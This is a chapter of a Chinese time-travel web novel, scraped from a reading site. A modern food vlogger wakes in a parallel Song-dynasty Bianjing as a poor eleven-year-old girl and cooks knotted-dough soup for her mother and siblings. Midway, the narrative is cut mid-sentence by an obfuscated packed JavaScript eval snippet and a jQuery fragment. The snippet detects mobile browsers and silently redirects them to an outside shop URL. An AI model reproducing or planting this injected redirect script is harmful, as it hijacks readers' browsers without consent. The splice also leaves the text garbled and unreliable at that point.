文趣网 > 其他小说 > 汴京苏家小娘子 > 1. 穿越汴京
    第一章穿越汴京

    被人救起后,苏瑶高烧不退,缠绵病榻整整两日。

    古今两段记忆在她脑中交叠翻涌,分不清哪一段是梦,哪一段才是现实。

    到了第三日清晨,烧终于退了。喉咙里像有火在烧,把她渴醒了。睁开眼,映入眼帘的是一顶泛白的青布帐子。

    奇怪……明明昨晚还在和朋友聚会,怎么一睁眼就到了这儿?她面露迷茫,片刻后才想起来,那晚回家的路上遭遇了车祸,紧接着便失去了意识。

    她猛地坐起身,起得太急,一阵眩晕立刻袭来。她抬手扶了扶额头,怔怔地望着眼前这间古色古香的房间。

    突然,她心头剧震——那些纷乱的画面不是梦,她真的穿越了!

    这里是大宋,却又不是她所熟知的那个宋朝。天子依然姓赵,可那名字,她从未在任何史书上见过。这里,仿佛是另一个平行时空。

    原身最后的记忆,停留在落水之前。

    那日她去郊外采花,想做些花笺,好换点碎银补贴家用。恰逢三月三,汴京郊外踏春的人潮如织,她在湖边,竟遇上了几位旧日相识的贵女。

    昔日同伴当面取笑她家道中落,话里话外尽是冷嘲热讽。她窘得满脸通红,半句反驳的话也说不出,只想赶紧逃开这难堪的场面。谁料转身太急,脚下一滑,便坠进了湖里。

    ————

    次日,阳光透过木格窗,洒进西厢房二楼。

    苏瑶精神头好了许多,她起身坐到镜前,打算梳头。

    铜镜里映出一张十一岁的脸。五官精致小巧,眉眼天然弯着,哪怕不笑也带着浅浅笑意。一双小鹿似的圆眼,瞳仁乌黑透亮,睫毛浓密纤长。

    这张脸,和现代的她小时候一模一样。连右手腕内侧那颗浅红小痣的位置,都分毫不差。甚至连名字都一样。

    平时朋友们总调侃她,说她的情绪稳得像只卡皮巴拉。她花了一整天做心理建设,试着说服自己接受现实。穿越嘛,小说里不都这么写?既来之,则安之。

    可是——

    她刚还完房贷的别墅,没了;定制的露娜紫新车,眼看就要到货,方向盘都还没摸上一下;两个大冰箱里的食材……还有那些关注她的粉丝们,这下好了,催更催得再凶,她也看不到了。

    一想到这些,她的内心还是止不住地崩溃。

    呜呜~呜呜~呜呜~

    她真的好难接受这个现实啊!心里那个小人已经哭得满地打滚。

    此时门外传来轻轻的脚步声。

    “阿姐,我进来啦。”

    门被轻轻推开,妹妹苏妙端着一只木托盘走进来。九岁的她生得过分可爱,一双圆圆的杏眸水润透亮。

    “阿姐,药刚温好,趁热喝。”

    一股淡淡的药苦味飘来,苏瑶瞬间从悲伤的情绪中抽离。她眉眼微蹙,满脸写着抗拒:“我身子已经无碍了,用不着再喝药了。”

    苏妙的杏眸里写满不赞同,她快步上前将托盘在桌上放稳。

    “不行的,阿娘特意叮嘱,一定要看着你喝完才行。”苏妙语气坚决。说着,她打开一个小纸包,里头是十来颗透亮润泽的青梅蜜饯,语气随即软下来,带上了诱哄的意味,“呐,你看!这是阿兄特意给你买的青梅蜜饯,喝完药吃一颗,嘴里就不苦啦。”

    苏瑶哪里拗得过她,只得端起药碗,捏住鼻子,仰头一饮而尽。苦药味顺着喉道漫开,涩得她眉头皱紧。下一瞬,一颗酸甜青梅便送进了她嘴里。酸甜的果味压住了满口药苦。

    苏妙见她眉目舒展,忍不住弯眼笑开,露出浅浅梨涡,语气里带着几分得意:“我就说不苦的吧!”

    苏瑶心头一软,也捏起一颗青梅,喂到苏妙嘴边。

    苏妙含着青梅,腮帮子鼓鼓的,像只小仓鼠,小声嘟囔:“这是专门给阿姐买的,怎么还喂给我呀?”

    苏瑶看着她乖巧的模样,心被轻轻戳了一下。在现代,她从未体验过这种手足温情。她笑了笑,眼神温柔得能溢出水来:“傻瓜!果子再甜,一个人吃也没滋味。有甜自然要同享,才更甜呀!”

    吃完药,药力上来了,苏瑶泛起了困意,躺回床上。苏妙贴心地帮她盖上被子,细心地把被角掖好,端起托盘轻手轻脚地下楼了。

    她一觉睡到了巳时末。

    起身下床,走到盆架边洗了把脸,拿过搭在架上的粗布帕子擦净水分,坐到铜镜前。

    她拿起木梳,学着原身记忆里的样子,将一头乌发分成两股,在头顶两侧各扎了一个小髻,用青白色的发带绑紧,简单的双丫髻便梳好了。

    她对着镜子左右看了看,理了理鬓边碎发,这才起身换上一件月白短襦,搭了条浅灰的旧布裙。收拾妥当后推门下楼。

    楼下的苏妙见到她下来,同她打招呼:“阿姐你醒啦。身体怎么样?”

    “我没事了!”苏瑶柔声道。

    苏妙却收了笑,面露担忧:“阿姐你前两日可吓人了,我跟你说话,你一点反应都没有……”她的声音低下去,带着后怕,“我当时好害怕。”

    苏瑶心里一软,伸手轻轻地揉了揉她毛茸茸的小脑袋:“不怕,阿姐这不是好好的嘛!”

    “走,去厨房,阿姐给你做好吃的!”

    “阿娘在厨房呢。说要做疙瘩汤。”

    听到娘亲在厨房,苏瑶二话不说,转身便快步往厨房走去。苏妙赶紧跟上,嘴里还在念叨:“阿姐你走慢点,才刚退烧——”

    两人到了厨房门口,顾知娴袖子卷到手肘,案板上搁着一颗白菜,正拿刀准备切。

    “阿娘。”

    这声“阿娘”喊出口,苏瑶的嘴皮子从没这么沉过。三十岁的灵魂叫同龄人阿娘,真是让她心里莫名感到羞耻。

    听到叫唤,顾知娴回过头,有些意外:“瑶娘你怎么起来了?快去躺着,今天阿娘来做饭。”

    “躺够了。”苏瑶走过去,语气轻快,“午饭我来做吧。”

    “不用不用,阿娘来就行——”

    苏瑶伸手拿过顾知娴手里的刀,搁在案板上,冲她一笑:“我来。您去歇着,我得活动活动筋骨,躺了几天,人都僵了。”

    顾知娴看看空了的手,又看看女儿,嘴唇动了动,还想说什么。

    苏瑶已经挽起袖子,把她往外推了,一边推一边说:“您去休息,等饭好了我叫您。妙娘会帮我烧火的。”

    顾知娴被女儿推到厨房门口,回头望了望灶台,无奈地叹了口气。心里头又是欣慰,又是泛酸。这孩子,怎么病了一场,越发懂事了,刚病好就抢着干活。见女儿没有改变主意的意思,她只好转身离去。

    苏瑶这具身子的娘亲,厨艺约等于把食物弄熟。哦不,连“弄熟”都差点火候。昨日醒来到现在,她连吃了四顿,实在不想再荼毒自己的味蕾了。

    苏瑶舀面的时候,下意识把粗瓷盆往自己的方向转了半圈。转完才反应过来——这里没有镜头对着她。她自嘲地弯了一下嘴角。

    她提起水瓢,慢慢往面里添水,另一只手握着竹筷不住地搅。那面见了水,渐渐凝成碎碎的疙瘩,大大小小,如絮如珠。她搅得手有些酸了,便歇了歇,让那盆面疙瘩搁着醒一醒。

    趁着这会儿工夫,她从墙角抱出一只小坛子,揭开盖,一股酸香扑鼻而来,是去年外婆过来帮忙渍的酸菜。她捞出一把来,放水里洗了一下,挤干水分,搁在砧板上,切成细丝。案板上的白菜叶子,也切成丝。葱姜蒜也剥好剁碎。

    苏妙往灶膛里添了柴火,眼睛却一直追着阿姐的手看。那刀在案板上飞快地起落,节奏又稳又快,切出来的丝粗细均匀,比娘的手艺强了不是一点半点。她看得有些发愣,好半天才回过神来,忍不住问:“阿姐,你什么时候切菜这么厉害的?”

    苏瑶动作顿了一下,含糊道:“还行吧,切菜不是很简单吗?”

    苏妙眨眨眼,显然不信。但灶膛里的火烧得正旺,她顾不上追问,赶紧又往里添了根柴。

    油罐只剩薄薄一层,盐罐也是,苏瑶无奈叹了口气,家里的日子确实难过。

    她往锅里滴了两滴油,等油热了,把葱姜蒜末丢进去——“刺啦”一声,香气猛地腾起来。紧接着把酸菜丝倒进去翻炒,那酸香味被热油一激,直往鼻子里钻。她便拿葫芦瓢舀了两瓢水倒进锅里,盖了盖子等水烧开。

    等水咕嘟咕嘟翻滚的工夫,她把醒好的面疙瘩端过来。揭开锅盖,拿筷子把面疙瘩一点点拨进沸汤里,又拿勺背轻轻推了推,免得它们粘在一处。雪白的面疙瘩在汤里上下翻滚,渐渐浮起来。

    她这才把切好的白菜丝撒进去,青白的菜丝在汤里打了几个滚便软了。紧接着把打散的鸡蛋碗端起来,举得高高的,让蛋液细细地流进汤里,另一只手边拿筷子飞快地搅,那蛋便成了一丝丝的金黄,散在汤间。

    最后,她拿起醋瓶子浇了一圈,搁了盐,拿汤勺搅匀。低头舀了一点汤放进碗里,尝了尝味道正正好。

    苏瑶拿木托盘端疙瘩汤,苏妙端碗跟勺子,姐妹俩一前一后往内厅堂走去。

    那盆疙瘩汤端到内厅堂的八仙桌上,汤色微浑,面疙瘩雪白饱满,酸菜末沉在底,白菜丝碧绿青翠,蛋花丝丝缕缕浮在金黄的汤面上,油花星星点点。热腾腾的酸香气扑面而来,惹得人喉头一动。

    苏景琮跟顾知娴闻着香味过来了。顾知娴走到桌边,看了看苏瑶的面色,伸手替她拢了拢鬓边散下来的碎发,轻声问:“刚好些就忙活午食,累不累?”

    苏瑶笑着摇头:“不累,做顿饭算什

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834205|211372||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么。”

    苏景琮也凑了过来,小手攀着桌沿,仰头望着她,眼里满是关怀,奶声奶气地问:“阿姐,你身体好了吗?”

    他和苏妙都继承了顾知娴的那一双乌亮的杏眼。当他注视着苏瑶时,眼里干净得没有一丝杂质,仿佛是只盛得下她一个人。

    苏瑶心里一暖,人类幼崽的关心谁顶得住啊。她忍不住伸手揉了揉他的小脑袋瓜,柔声说:“好多啦,谢谢琮儿关心。”

    苏景琮得了姐姐的答复,这才放了心。他使劲吸了吸鼻子,像只小馋猫,踮着脚尖往盆里瞅:“是什么吃食,这么香啊!”

    “疙瘩汤。”苏瑶拿起汤勺,边盛边招呼,“琮哥儿,阿娘,快坐下吃。”

    先给娘亲、妹妹和弟弟各盛了一碗后,给自己也盛了一碗,苏瑶迫不及待舀一大勺,轻轻吹了吹,送进嘴里。面疙瘩软糯滑溜,酸菜的酸爽劲道。可惜没有胡椒粉和香油,差了点味道,她心里暗暗惋惜。

    “呜呼~好烫啊~”苏景琮吐着舌头直哈气。平时他没什么胃口,可今天阿姐煮的疙瘩汤实在太香了,哪里还顾得上烫,迫不及待就往嘴里送。

    “慢点吃,又没人抢你碗里的。”顾知娴笑着说了他一句,也舀起一勺吹了吹,送进嘴里。她愣住了——同样的疙瘩汤,怎么瑶娘煮的这么好吃?面疙瘩软糯有嚼劲,汤里酸菜的香、鸡蛋的香,还有新鲜白菜的脆甜,全融在一处。她也顾不上笑话小儿子了,自己一勺接着一勺。很快一碗下去,额上沁出一层薄汗。

    “阿姐的疙瘩汤加了什么?味道跟阿娘做的不一样哒!”苏景琮腮帮子鼓鼓囊囊,嘴里含着食物,说话都含含糊糊。

    苏妙停下手中的勺子,疑惑地看向苏瑶:“阿姐什么时候厨艺这么好了?”

    “可能……突然开窍了。”苏瑶面不改色。上辈子捣鼓了那么多年吃食,这声“开窍”也不算撒谎。

    好在苏妙没有再追问,她沉迷疙瘩汤的美味中,毕竟吃了那么久娘亲做的菜,对比实在太明显了。

    苏景琮破天荒地还要再吃第二碗,他饭量一直很小,顾知娴怕他积食,只给添了小半碗。她坐在一旁看小儿子埋头吃得呼噜呼噜响,心里又是高兴又是发酸。这孩子比同龄人瘦弱,胃口一直不好,像今日这样主动添饭,是从来没有过的事。

    饭后,苏景琮撑着小肚子跟娘亲一道上主屋的二楼午休去了。姐妹俩把碗筷端去厨房洗了,便回了西厢房。

    苏妙坐到绣桌前,继续绣那方帕子。

    苏瑶在书桌前坐下,随手翻了翻桌上那叠纸。

    正面是她大哥苏景珩的文稿草稿,墨迹深浅不一,有的地方改了又改,一行字被划去两三次。大哥的字像父亲的,起笔收笔之间却还留着一股少年人的锋芒。

    她翻过背面。苏妙练的字,一笔一划,秀秀气气;苏景琮写的就热闹多了,墨团子多,正经字少,角落里还画了个歪嘴小人,她忍不住笑了。

    放下纸,苏瑶撑着手托着下巴,望着窗外,心里盘算起来。

    方才在厨房时她就注意到了,油罐和盐罐都快见底了,米缸里的米也只剩下薄薄一层。她翻了翻原身的记忆,才明白家里的处境。

    祖父当了大半辈子官,退休后买下武学巷这处宅子,几乎耗去了全部积蓄。谁料搬来不过半年,一场风寒竟让他一病不起,缠绵病榻两年。爹娘想尽了法子筹医药费,可还是没能留住祖父,前年冬天,人走了。

    按大宋的规矩,官员过世,子孙当回乡守孝三年。可那时小弟才两岁多,身子弱,禁不起长途颠簸,家里也实在拿不出举家回乡的银子。爹娘商量了一夜,最后定下由父亲一人回泉州老家守三年,连一路的盘缠都是临时找人借的。

    如今家里的进项,全靠母亲一人做绣活撑着。大哥在太学读书,束脩虽不多,抄书也能贴补些,可笔墨纸砚样样都要开销。下头三个小的——她自己、苏妙、苏景琮,吃穿用度哪样不要钱?

    想到这里,她忍不住叹了口气。

    上辈子她也苦过。大学刚毕业时跟人合租床位,一天三顿水煮青菜面条,努力工作还清了助学贷,还攒了点小钱。机缘巧合之下做了短视频博主,从十几个粉丝慢慢做到千万粉丝,广告接到手软,也算是实现人生财富自由了。

    拼了那么多年,好不容易把自己从里到外富养了一遍,买东西只管喜欢不看价格。

    结果一睁眼,又被打回原形。

    这落差,谁受得了?

    她心里的小人再次躺在地上嚎啕大哭。

    哭归哭,日子还是得过。小人哭着哭着,还是抽抽噎噎地爬了起来,一边抹眼泪一边举起小拳头。

    为了更好的生活条件,她得再次努力搞钱!

    那她在宋朝能做什么呢?